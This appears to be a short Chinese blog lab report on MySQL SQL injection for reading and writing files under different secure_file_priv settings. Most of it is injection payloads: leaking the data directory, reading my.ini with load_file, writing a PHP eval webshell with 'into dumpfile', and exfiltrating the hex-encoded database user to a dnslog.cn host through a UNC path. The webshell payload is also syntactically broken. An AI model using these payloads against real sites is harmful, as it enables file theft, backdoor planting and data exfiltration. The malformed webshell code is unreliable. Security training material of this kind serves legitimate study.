SQl注入之读写文件注入实验报告

本文探讨了MySQL中secure_file_priv参数对文件读写权限的影响,包括无限制、禁止及指定路径下的读写操作。通过load_file()和intooutfile演示了如何在不同权限设置下读取和写入文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

读写文件受到权限影响
      secure_file_priv=   代表文件读写没有限制
      secure_file_priv=NULL   代表没有读写文件权限
      secure_file_priv=    d:/phpstudy/mysql/aa  代表只能对该路径下文件进行读写
      这个权限在数据库配置文件my.ini里,默认是没有的

读文件
     load_file()

写文件
     into outfile
     into dumpfile  写二进制文件使用

实验1读文件

    首先在my.ini里添加secure_file_priv=

然后用用@@datadir 爆出mysql路径

?id=-1 union select 1,@@datadir,3

有了路径就可以读以my.ini文件试试

 

?id=-1union select 1,load_file("D:\\php\\PHPTutorial\\MySQL\\my.ini"),3

实验二写文件

知道了路径之后可以写一些一句话木马类的文件到网站目录下

?id=-1 union select "","<?php @eval($_REQUEST(666)?>","" into dumpfile"d:\\1.txt" --

实验三外带注入

  先到dnslog.cn网站get一下

  拿到

然后

 

?id=1' and load_file(concat("\\\\",hex(user()),".7iva9u.dnslog.cn\\xxx.txt")) -- -

 加上16进制拿用户名

拿到16进制后的去找个网站转换一下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值